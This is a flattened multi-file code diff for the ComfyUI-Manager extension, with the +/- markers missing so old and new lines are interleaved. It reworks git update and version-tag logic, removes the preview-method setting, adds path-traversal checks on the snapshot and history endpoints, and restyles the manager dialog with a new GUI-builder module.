logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
repo.git.submodule('update', '--init', '--recursive')
new_commit_hash = repo.head.commit.hexsha
@@ -2036,16 +2187,15 @@ class GitProgress(RemoteProgress):
def is_valid_url(url):
try:
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if all([result.scheme, result.netloc]):
return True
finally:
# Check for SSH git URL format
pattern = re.compile(r"^(.+@|ssh://).+:.+$")
if pattern.match(url):
return True
# Check for HTTP/HTTPS URL format
result = urlparse(url)
if result.scheme and result.netloc:
return True
# Check for SSH git URL format
if SSH_URL_PATTERN.match(url):
return True
return False
@@ -2148,9 +2298,17 @@ def git_pull(path):
current_branch = repo.active_branch
remote_name = current_branch.tracking_branch().remote_name
remote = repo.remote(name=remote_name)
branch_name = current_branch.name
try:
repo.git.pull('--ff-only')
except git.GitCommandError:
backup_name = get_backup_branch_name(repo)
repo.create_head(backup_name)
logging.info(f"[ComfyUI-Manager] Cannot fast-forward. Backup created: {backup_name}")
repo.git.reset('--hard', f'{remote_name}/{branch_name}')
logging.info(f"[ComfyUI-Manager] Reset to {remote_name}/{branch_name}")
remote.pull()
repo.git.submodule('update', '--init', '--recursive')
repo.close()
@@ -2418,22 +2576,23 @@ def update_to_stable_comfyui(repo_path):
logging.error('\t'+branch.name)
return "fail", None
versions, current_tag, _ = get_comfyui_versions(repo)
if len(versions) == 0 or (len(versions) == 1 and versions[0] == 'nightly'):
versions, current_tag, latest_tag = get_comfyui_versions(repo)
if latest_tag is None:
logging.info("[ComfyUI-Manager] Unable to update to the stable ComfyUI version.")
return "fail", None
if versions[0] == 'nightly':
latest_tag = versions[1]
else:
latest_tag = versions[0]
if current_tag == latest_tag:
tag_ref = next((t for t in repo.tags if t.name == latest_tag), None)
if tag_ref is None:
logging.info(f"[ComfyUI-Manager] Unable to locate tag '{latest_tag}' in repository.")
return "fail", None
if repo.head.commit == tag_ref.commit:
return "skip", None
else:
logging.info(f"[ComfyUI-Manager] Updating ComfyUI: {current_tag} -> {latest_tag}")
repo.git.checkout(latest_tag)
repo.git.checkout(tag_ref.name)
execute_install_script("ComfyUI", repo_path, instant_execution=False, no_deps=False)
return 'updated', latest_tag
except Exception:
traceback.print_exc()
@@ -2659,9 +2818,7 @@ async def get_current_snapshot(custom_nodes_only = False):
async def save_snapshot_with_postfix(postfix, path=None, custom_nodes_only = False):
if path is None:
now = datetime.now()
date_time_format = now.strftime("%Y-%m-%d_%H-%M-%S")
date_time_format = get_timestamp_for_path()
file_name = f"{date_time_format}_{postfix}"
path = os.path.join(context.manager_snapshot_path, f"{file_name}.json")
@@ -3252,36 +3409,85 @@ async def restore_snapshot(snapshot_path, git_helper_extras=None):
def get_comfyui_versions(repo=None):
if repo is None:
repo = git.Repo(context.comfy_path)
repo = repo or git.Repo(context.comfy_path)
remote_name = None
try:
remote = get_remote_name(repo)
repo.remotes[remote].fetch()
remote_name = get_remote_name(repo)
repo.remotes[remote_name].fetch()
except Exception:
logging.error("[ComfyUI-Manager] Failed to fetch ComfyUI")
versions = [x.name for x in repo.tags if x.name.startswith('v')]
def parse_semver(tag_name):
match = re.match(r'^v(\d+)\.(\d+)\.(\d+)$', tag_name)
return tuple(int(x) for x in match.groups()) if match else None
# nearest tag
versions = sorted(versions, key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
versions = versions[:4]
def normalize_describe(tag_name):
if not tag_name:
return None
base = tag_name.split('-', 1)[0]
return base if parse_semver(base) else None
current_tag = repo.git.describe('--tags')
# Collect semver tags and sort descending (highest first)
semver_tags = []
for tag in repo.tags:
semver = parse_semver(tag.name)
if semver:
semver_tags.append((semver, tag.name))
semver_tags.sort(key=lambda x: x[0], reverse=True)
semver_tags = [name for _, name in semver_tags]
if current_tag not in versions:
versions = sorted(versions + [current_tag], key=lambda v: repo.git.log('-1', '--format=%ct', v), reverse=True)
versions = versions[:4]
latest_tag = semver_tags[0] if semver_tags else None
main_branch = repo.heads.master
latest_commit = main_branch.commit
latest_tag = repo.git.describe('--tags', latest_commit.hexsha)
try:
described = repo.git.describe('--tags')
except Exception:
described = ''
if latest_tag != versions[0]:
versions.insert(0, 'nightly')
else:
versions[0] = 'nightly'
try:
exact_tag = repo.git.describe('--tags', '--exact-match')
except Exception:
exact_tag = ''
head_is_default = False
if remote_name:
try:
default_head_ref = repo.refs[f'{remote_name}/HEAD']
default_commit = default_head_ref.reference.commit
head_is_default = repo.head.commit == default_commit
except Exception:
# Fallback: compare directly with master branch
try:
if 'master' in [h.name for h in repo.heads]:
head_is_default = repo.head.commit == repo.heads.master.commit
except Exception:
head_is_default = False
nearest_semver = normalize_describe(described)
exact_semver = exact_tag if parse_semver(exact_tag) else None
if head_is_default and not exact_tag:
current_tag = 'nightly'
else:
current_tag = exact_tag or described or 'nightly'
# Prepare semver list for display: top 4 plus the current/nearest semver if missing
display_semver_tags = semver_tags[:4]
if exact_semver and exact_semver not in display_semver_tags:
display_semver_tags.append(exact_semver)
elif nearest_semver and nearest_semver not in display_semver_tags:
display_semver_tags.append(nearest_semver)
versions = ['nightly']
if current_tag and not exact_semver and current_tag not in versions and current_tag not in display_semver_tags:
versions.append(current_tag)
for tag in display_semver_tags:
if tag not in versions:
versions.append(tag)
versions = versions[:6]
return versions, current_tag, latest_tag
+37 -40
View File
@@ -20,12 +20,13 @@ import threading
import traceback
import urllib.request
import uuid
import time
import zipfile
from datetime import datetime, timedelta
from typing import Any, Optional
from comfyui_manager.common.timestamp_utils import get_timestamp_for_filename, get_now
import folder_paths
import latent_preview
import nodes
from aiohttp import web
from comfy.cli_args import args
@@ -129,16 +130,6 @@ def error_response(
class ManagerFuncsInComfyUI(core.ManagerFuncs):
def get_current_preview_method(self):
if args.preview_method == latent_preview.LatentPreviewMethod.Auto:
return "auto"
elif args.preview_method == latent_preview.LatentPreviewMethod.Latent2RGB:
return "latent2rgb"
elif args.preview_method == latent_preview.LatentPreviewMethod.TAESD:
return "taesd"
else:
return "none"
def run_script(self, cmd, cwd="."):
if len(cmd) > 0 and cmd[0].startswith("#"):
logging.error(f"[ComfyUI-Manager] Unexpected behavior: `{cmd}`")
@@ -267,9 +258,9 @@ class TaskQueue:
def _start_new_batch(self) -> None:
"""Start a new batch session for tracking operations."""
self.batch_id = (
f"batch_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{uuid.uuid4().hex[:8]}"
f"batch_{get_timestamp_for_filename()}_{uuid.uuid4().hex[:8]}"
)
self.batch_start_time = datetime.now().isoformat()
self.batch_start_time = get_now().isoformat()
self.batch_state_before = self._capture_system_state()
logging.debug("[ComfyUI-Manager] Started new batch: %s", self.batch_id)
@@ -300,7 +291,7 @@ class TaskQueue:
MessageTaskStarted(
ui_id=item.ui_id,
kind=item.kind,
timestamp=datetime.now(),
timestamp=get_now(),
state=self.get_current_state(),
),
client_id=item.client_id, # Send task started only to the client that requested it
@@ -317,8 +308,7 @@ class TaskQueue:
"""Mark task as completed and add to history"""
with self.mutex:
now = datetime.now()
timestamp = now.isoformat()
now = get_now()
# Remove task from running_tasks using the task_index
self.running_tasks.pop(task_index, None)
@@ -383,7 +373,7 @@ class TaskQueue:
result=result_msg,
kind=item.kind,
status=status,
timestamp=datetime.fromisoformat(timestamp),
timestamp=now,
state=self.get_current_state(),
),
client_id=item.client_id, # Send completion only to the client that requested it
@@ -494,7 +484,7 @@ class TaskQueue:
)
try:
end_time = datetime.now().isoformat()
end_time = get_now().isoformat()
state_after = self._capture_system_state()
operations = self._extract_batch_operations()
@@ -562,7 +552,7 @@ class TaskQueue:
"""Capture current ComfyUI system state for batch record."""
logging.debug("[ComfyUI-Manager] Capturing system state for batch record")
return ComfyUISystemState(
snapshot_time=datetime.now().isoformat(),
snapshot_time=get_now().isoformat(),
comfyui_version=self._get_comfyui_version_info(),
frontend_version=self._get_frontend_version(),
python_version=platform.python_version(),
@@ -703,8 +693,6 @@ class TaskQueue:
cli_args["listen"] = args.listen
if hasattr(args, "port"):
cli_args["port"] = args.port
if hasattr(args, "preview_method"):
cli_args["preview_method"] = str(args.preview_method)
if hasattr(args, "enable_manager_legacy_ui"):
cli_args["enable_manager_legacy_ui"] = args.enable_manager_legacy_ui
if hasattr(args, "front_end_version"):
@@ -789,8 +777,8 @@ class TaskQueue:
to avoid disrupting normal operations.
"""
try:
cutoff = datetime.now() - timedelta(days=16)
cutoff_timestamp = cutoff.timestamp()
# 16 days in seconds
cutoff_timestamp = time.time() - (16 * 24 * 60 * 60)
pattern = os.path.join(context.manager_batch_history_path, "batch_*.json")
removed_count = 0
@@ -818,14 +806,6 @@ class TaskQueue:
task_queue = TaskQueue()
# Preview method initialization
if args.preview_method == latent_preview.LatentPreviewMethod.NoPreviews:
environment_utils.set_preview_method(core.get_config()["preview_method"])
else:
logging.warning(
"[ComfyUI-Manager] Since --preview-method is set, ComfyUI-Manager's preview method feature will be ignored."
)
async def task_worker():
logging.debug("[ComfyUI-Manager] Task worker started")
@@ -968,6 +948,8 @@ async def task_worker():
logging.error("ComfyUI update failed")
return "fail"
elif res == "updated":
core.install_manager_requirements(repo_path)
if is_stable:
logging.info("ComfyUI is updated to latest stable version.")
return "success-stable-" + latest_tag
@@ -1013,7 +995,7 @@ async def task_worker():
return OperationResult.failed.value
node_name = params.node_name
is_unknown = params.is_unknown
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
logging.debug(
"[ComfyUI-Manager] Uninstalling node: name=%s, is_unknown=%s",
@@ -1037,15 +1019,16 @@ async def task_worker():
async def do_disable(params: DisablePackParams) -> str:
node_name = params.node_name
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
logging.debug(
"[ComfyUI-Manager] Disabling node: name=%s, is_unknown=%s",
node_name,
params.is_unknown,
is_unknown,
)
try:
res = core.unified_manager.unified_disable(node_name, params.is_unknown)
res = core.unified_manager.unified_disable(node_name, is_unknown)
if res:
return OperationResult.success.value
@@ -1312,11 +1295,17 @@ async def get_history(request):
try:
# Handle file-based batch history
if "id" in request.rel_url.query:
json_name = request.rel_url.query["id"] + ".json"
batch_path = os.path.join(context.manager_batch_history_path, json_name)
history_id = request.rel_url.query["id"]
# Prevent path traversal attacks
batch_path = security_utils.get_safe_file_path(history_id, context.manager_batch_history_path)
if batch_path is None:
logging.warning(f"[Security] Invalid history id rejected: {history_id}")
return web.Response(text="Invalid history id", status=400)
logging.debug(
"[ComfyUI-Manager] Fetching batch history: id=%s",
request.rel_url.query["id"],
history_id,
)
with open(batch_path, "r", encoding="utf-8") as file:
@@ -1538,7 +1527,11 @@ async def remove_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
path = security_utils.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
os.remove(path)
@@ -1556,7 +1549,11 @@ async def restore_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
path = security_utils.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
if not os.path.exists(context.manager_startup_script_path):
os.makedirs(context.manager_startup_script_path)
@@ -5,8 +5,6 @@ import traceback
from comfyui_manager.common import context
import folder_paths
from comfy.cli_args import args
import latent_preview
from comfyui_manager.glob import manager_core as core
from comfyui_manager.common import cm_global
@@ -93,19 +91,6 @@ def print_comfyui_version():
)
def set_preview_method(method):
if method == "auto":
args.preview_method = latent_preview.LatentPreviewMethod.Auto
elif method == "latent2rgb":
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
elif method == "taesd":
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
else:
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
core.get_config()["preview_method"] = method
def set_update_policy(mode):
core.get_config()["update_policy"] = mode
@@ -135,7 +120,6 @@ def initialize_environment():
# manager_util.comfyui_manager_path, "extension-node-map.json"
# )
set_preview_method(core.get_config()["preview_method"])
print_comfyui_version()
setup_environment()
+7 -7
View File
@@ -1,14 +1,14 @@
from comfyui_manager.glob import manager_core as core
from comfy.cli_args import args
from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
from comfyui_manager.common.manager_security import (
is_loopback,
is_safe_path_target,
get_safe_file_path,
)
def is_loopback(address):
import ipaddress
try:
return ipaddress.ip_address(address).is_loopback
except ValueError:
return False
# Re-export for backward compatibility
__all__ = ['is_loopback', 'is_safe_path_target', 'get_safe_file_path', 'is_allowed_security_level', 'get_risky_level']
def is_allowed_security_level(level):
+2 -2
View File
@@ -13,7 +13,7 @@ This directory contains the JavaScript frontend implementation for ComfyUI-Manag
## Sharing Components
- **comfyui-share-common.js**: Base functionality for workflow sharing features.
- **comfyui-share-copus.js**: Integration with the ComfyUI Opus sharing platform.
- **comfyui-share-copus.js**: Integration with the ComfyUI Copus sharing platform.
- **comfyui-share-openart.js**: Integration with the OpenArt sharing platform.
- **comfyui-share-youml.js**: Integration with the YouML sharing platform.
@@ -47,4 +47,4 @@ CSS files are included for specific components:
- **custom-nodes-manager.css**: Styling for the node management UI
- **model-manager.css**: Styling for the model management UI
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
+227
View File
@@ -0,0 +1,227 @@
import { $el } from "../../scripts/ui.js";
function normalizeContent(content) {
const tmp = document.createElement('div');
if (typeof content === 'string') {
tmp.innerHTML = content;
return Array.from(tmp.childNodes);
}
if (content instanceof Node) {
return content;
}
return content;
}
export function createSettingsCombo(label, content) {
const settingItem = $el("div.setting-item", {}, [
$el("div.flex.flex-row.items-center.gap-2",[
$el("div.form-label.flex.grow.items-center", [
$el("span.text-muted", { textContent: label },)
]),
$el("div.form-input.flex.justify-end",
[content]
)
]
)
]);
return settingItem;
}
export function buildGuiFrame(dialogId, title, iconClass, content, owner) {
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
parent: document.body,
style: {
position: "fixed",
height: "100%",
width: "100%",
left: "0px",
top: "0px",
display: "flex",
justifyContent: "center",
alignItems: "center",
pointerEvents: "auto",
zIndex: "1000"
},
onclick: (e) => {
if (e.target === dialog_mask) {
owner.close();
}
}
// data-pc-section="mask"
});
const header_actions = $el("div.p-dialog-header-actions", {
// [TODO]
// data-pc-section="headeractions"
}
);
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
parent: header_actions,
type: "button",
ariaLabel: "Close",
onclick: () => owner.close(),
// "data-pc-name": "pcclosebutton",
// "data-p-disabled": "false",
// "data-p-severity": "secondary",
// "data-pc-group-section": "headericon",
// "data-pc-extend": "button",
// "data-pc-section": "root",
// [FIXME] Not sure how to do most of the SVG using $el
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label">&nbsp;</span><!---->'
}
);
const dialog_header = $el("div.p-dialog-header",
[
$el("div", [
$el("div",
{
id: "frame-title-container",
},
[
$el("h2.px-4", [
$el(iconClass, {
style: {
"font-size": "1.25rem",
"margin-right": ".5rem"
}
}),
$el("span", { textContent: title })
])
]
)
]),
header_actions
]
);
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
id: dialogId,
parent: dialog_mask,
style: {
'display': 'flex',
'flex-direction': 'column',
'pointer-events': 'auto',
'margin': '0px',
},
role: 'dialog',
ariaModal: 'true',
// [TODO]
// ariaLabbelledby: 'cm-title',
// maximized: 'false',
// data-pc-name: 'dialog',
// data-pc-section: 'root',
// data-pd-focustrap: 'true'
},
[ dialog_header, contentFrame ]
);
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
parent: manager_dialog,
tabindex: "0",
role: "presentation",
ariaHidden: "true",
"data-p-hidden-accessible": "true",
"data-p-hidden-focusable": "true",
"data-pc-section": "firstfocusableelement"
});
return dialog_mask;
}
export function buildGuiFrameCustomHeader(dialogId, customHeader, content, owner) {
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
parent: document.body,
style: {
position: "fixed",
height: "100%",
width: "100%",
left: "0px",
top: "0px",
display: "flex",
justifyContent: "center",
alignItems: "center",
pointerEvents: "auto",
zIndex: "1000"
},
onclick: (e) => {
if (e.target === dialog_mask) {
owner.close();
}
}
// data-pc-section="mask"
});
const header_actions = $el("div.p-dialog-header-actions", {
// [TODO]
// data-pc-section="headeractions"
}
);
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
parent: header_actions,
type: "button",
ariaLabel: "Close",
onclick: () => owner.close(),
// "data-pc-name": "pcclosebutton",
// "data-p-disabled": "false",
// "data-p-severity": "secondary",
// "data-pc-group-section": "headericon",
// "data-pc-extend": "button",
// "data-pc-section": "root",
// [FIXME] Not sure how to do most of the SVG using $el
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label">&nbsp;</span><!---->'
}
);
const _customHeader = normalizeContent(customHeader);
const dialog_header = $el("div.p-dialog-header",
[
$el("div", [
$el("div",
{
id: "frame-title-container",
},
Array.isArray(_customHeader) ? _customHeader : [_customHeader]
)
]),
header_actions
]
);
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
id: dialogId,
parent: dialog_mask,
style: {
'display': 'flex',
'flex-direction': 'column',
'pointer-events': 'auto',
'margin': '0px',
},
role: 'dialog',
ariaModal: 'true',
// [TODO]
// ariaLabbelledby: 'cm-title',
// maximized: 'false',
// data-pc-name: 'dialog',
// data-pc-section: 'root',
// data-pd-focustrap: 'true'
},
[ dialog_header, contentFrame ]
);
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
parent: manager_dialog,
tabindex: "0",
role: "presentation",
ariaHidden: "true",
"data-p-hidden-accessible": "true",
"data-p-hidden-focusable": "true",
"data-pc-section": "firstfocusableelement"
});
return dialog_mask;
}
+96 -164
View File
@@ -16,10 +16,10 @@ import {
rebootAPI, setManagerInstance, show_message, customAlert, customPrompt,
infoToast, showTerminal, setNeedRestart, generateUUID
} from "./common.js";
import { ComponentBuilderDialog, load_components, set_component_policy } from "./components-manager.js";
import { CustomNodesManager } from "./custom-nodes-manager.js";
import { ModelManager } from "./model-manager.js";
import { SnapshotManager } from "./snapshot.js";
import { buildGuiFrame, createSettingsCombo } from "./comfyui-gui-builder.js";
let manager_version = await getVersion();
@@ -44,12 +44,16 @@ docStyle.innerHTML = `
#cm-manager-dialog {
width: 1000px;
height: 455px;
height: auto;
box-sizing: content-box;
z-index: 1000;
overflow-y: auto;
}
#cm-manager-dialog br {
margin-bottom: 1em;
}
.cb-widget {
width: 400px;
height: 25px;
@@ -80,6 +84,7 @@ docStyle.innerHTML = `
}
.cm-menu-container {
padding : calc(var(--spacing)*2);
column-gap: 20px;
display: flex;
flex-wrap: wrap;
@@ -140,8 +145,8 @@ docStyle.innerHTML = `
}
.cm-notice-board {
width: 290px;
height: 230px;
width: auto;
height: 280px;
overflow: auto;
color: var(--input-text);
border: 1px solid var(--descrip-text);
@@ -237,68 +242,50 @@ var batch_id = null;
// copied style from https://github.com/pythongosssss/ComfyUI-Custom-Scripts
const style = `
#workflowgallery-button {
width: 310px;
height: 27px;
height: 50px;
padding: 0px !important;
position: relative;
overflow: hidden;
font-size: 17px !important;
}
#cm-nodeinfo-button {
width: 310px;
height: 27px;
padding: 0px !important;
position: relative;
overflow: hidden;
font-size: 17px !important;
}
#cm-manual-button {
width: 310px;
height: 27px;
position: relative;
overflow: hidden;
}
.cm-button {
width: 310px;
height: 30px;
width: auto;
position: relative;
overflow: hidden;
font-size: 17px !important;
background-color: var(--comfy-menu-secondary-bg);
border-color: var(--border-color);
color: var(--input-text);
}
.cm-button:hover {
filter: brightness(125%);
}
.cm-button-red {
width: 310px;
height: 30px;
position: relative;
overflow: hidden;
font-size: 17px !important;
background-color: #500000 !important;
border-color: #88181b !important;
color: white !important;
}
.cm-button-red:hover {
background-color: #88181b !important;
}
.cm-button-orange {
width: 310px;
height: 30px;
position: relative;
overflow: hidden;
font-size: 17px !important;
font-weight: bold;
background-color: orange !important;
color: black !important;
}
.cm-experimental-button {
width: 290px;
height: 30px;
position: relative;
overflow: hidden;
font-size: 17px !important;
width: 100%;
}
.cm-experimental {
width: 310px;
border: 1px solid #555;
border-radius: 5px;
padding: 10px;
@@ -325,8 +312,14 @@ const style = `
.cm-menu-combo {
cursor: pointer;
width: 310px;
box-sizing: border-box;
padding: 0.5em 0.5em;
border: 1px solid var(--border-color);
border-radius: 6px;
background: var(--comfy-menu-secondary-bg);
}
.cm-menu-combo:hover {
filter: brightness(125%);
}
.cm-small-button {
@@ -816,7 +809,7 @@ class ManagerMenuDialog extends ComfyDialog {
const isElectron = 'electronAPI' in window;
update_comfyui_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Update ComfyUI",
style: {
@@ -827,7 +820,7 @@ class ManagerMenuDialog extends ComfyDialog {
});
switch_comfyui_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Switch ComfyUI",
style: {
@@ -838,7 +831,7 @@ class ManagerMenuDialog extends ComfyDialog {
});
restart_stop_button =
$el("button.cm-button-red", {
$el("button.p-button.p-component.cm-button-red", {
type: "button",
textContent: "Restart",
onclick: () => restartOrStop()
@@ -846,7 +839,7 @@ class ManagerMenuDialog extends ComfyDialog {
if(isElectron) {
update_all_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Update All Custom Nodes",
onclick:
@@ -855,7 +848,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
else {
update_all_button =
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Update All",
onclick:
@@ -865,7 +858,7 @@ class ManagerMenuDialog extends ComfyDialog {
const res =
[
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Custom Nodes Manager",
onclick:
@@ -877,7 +870,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Install Missing Custom Nodes",
onclick:
@@ -889,7 +882,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Custom Nodes In Workflow",
onclick:
@@ -901,8 +894,8 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("br", {}, []),
$el("button.cm-button", {
$el("div", {}, []),
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Model Manager",
onclick:
@@ -914,7 +907,7 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("button.cm-button", {
$el("button.p-button.p-component.cm-button", {
type: "button",
textContent: "Install via Git URL",
onclick: async () => {
@@ -926,13 +919,13 @@ class ManagerMenuDialog extends ComfyDialog {
}
}),
$el("br", {}, []),
$el("div", {}, []),
update_all_button,
update_comfyui_button,
switch_comfyui_button,
// fetch_updates_button,
$el("br", {}, []),
$el("div", {}, []),
restart_stop_button,
];
@@ -945,12 +938,13 @@ class ManagerMenuDialog extends ComfyDialog {
let self = this;
// db mode
this.datasrc_combo = document.createElement("select");
this.datasrc_combo.setAttribute("title", "Configure where to retrieve node/model information. If set to 'local,' the channel is ignored, and if set to 'channel (remote),' it fetches the latest information each time the list is opened.");
this.datasrc_combo.className = "cm-menu-combo";
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'DB: Channel (1day cache)' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'DB: Local' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'DB: Channel (remote)' }, []));
this.datasrc_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled ";
this.datasrc_combo.appendChild($el('option', { value: 'cache', text: 'Channel (1day cache)' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'local', text: 'Local' }, []));
this.datasrc_combo.appendChild($el('option', { value: 'remote', text: 'Channel (remote)' }, []));
api.fetchApi('/v2/manager/db_mode')
.then(response => response.text())
@@ -960,27 +954,12 @@ class ManagerMenuDialog extends ComfyDialog {
api.fetchApi(`/v2/manager/db_mode?value=${event.target.value}`);
});
// preview method
let preview_combo = document.createElement("select");
preview_combo.setAttribute("title", "Configure how latent variables will be decoded during preview in the sampling process.");
preview_combo.className = "cm-menu-combo";
preview_combo.appendChild($el('option', { value: 'auto', text: 'Preview method: Auto' }, []));
preview_combo.appendChild($el('option', { value: 'taesd', text: 'Preview method: TAESD (slow)' }, []));
preview_combo.appendChild($el('option', { value: 'latent2rgb', text: 'Preview method: Latent2RGB (fast)' }, []));
preview_combo.appendChild($el('option', { value: 'none', text: 'Preview method: None (very fast)' }, []));
api.fetchApi('/v2/manager/preview_method')
.then(response => response.text())
.then(data => { preview_combo.value = data; });
preview_combo.addEventListener('change', function (event) {
api.fetchApi(`/v2/manager/preview_method?value=${event.target.value}`);
});
const dbRetrievalSetttingItem = createSettingsCombo("DB", this.datasrc_combo);
// channel
let channel_combo = document.createElement("select");
channel_combo.setAttribute("title", "Configure the channel for retrieving data from the Custom Node list (including missing nodes) or the Model list.");
channel_combo.className = "cm-menu-combo";
channel_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
api.fetchApi('/v2/manager/channel_url_list')
.then(response => response.json())
.then(async data => {
@@ -989,7 +968,7 @@ class ManagerMenuDialog extends ComfyDialog {
for (let i in urls) {
if (urls[i] != '') {
let name_url = urls[i].split('::');
channel_combo.appendChild($el('option', { value: name_url[0], text: `Channel: ${name_url[0]}` }, []));
channel_combo.appendChild($el('option', { value: name_url[0], text: `${name_url[0]}` }, []));
}
}
@@ -1004,11 +983,13 @@ class ManagerMenuDialog extends ComfyDialog {
}
});
const channelSetttingItem = createSettingsCombo("Channel", channel_combo);
// share
let share_combo = document.createElement("select");
share_combo.setAttribute("title", "Hide the share button in the main menu or set the default action upon clicking it. Additionally, configure the default share site when sharing via the context menu's share button.");
share_combo.className = "cm-menu-combo";
share_combo.className = "cm-menu-combo p-select p-component p-inputwrapper p-inputwrapper-filled";
const share_options = [
['none', 'None'],
['openart', 'OpenArt AI'],
@@ -1019,7 +1000,7 @@ class ManagerMenuDialog extends ComfyDialog {
['all', 'All'],
];
for (const option of share_options) {
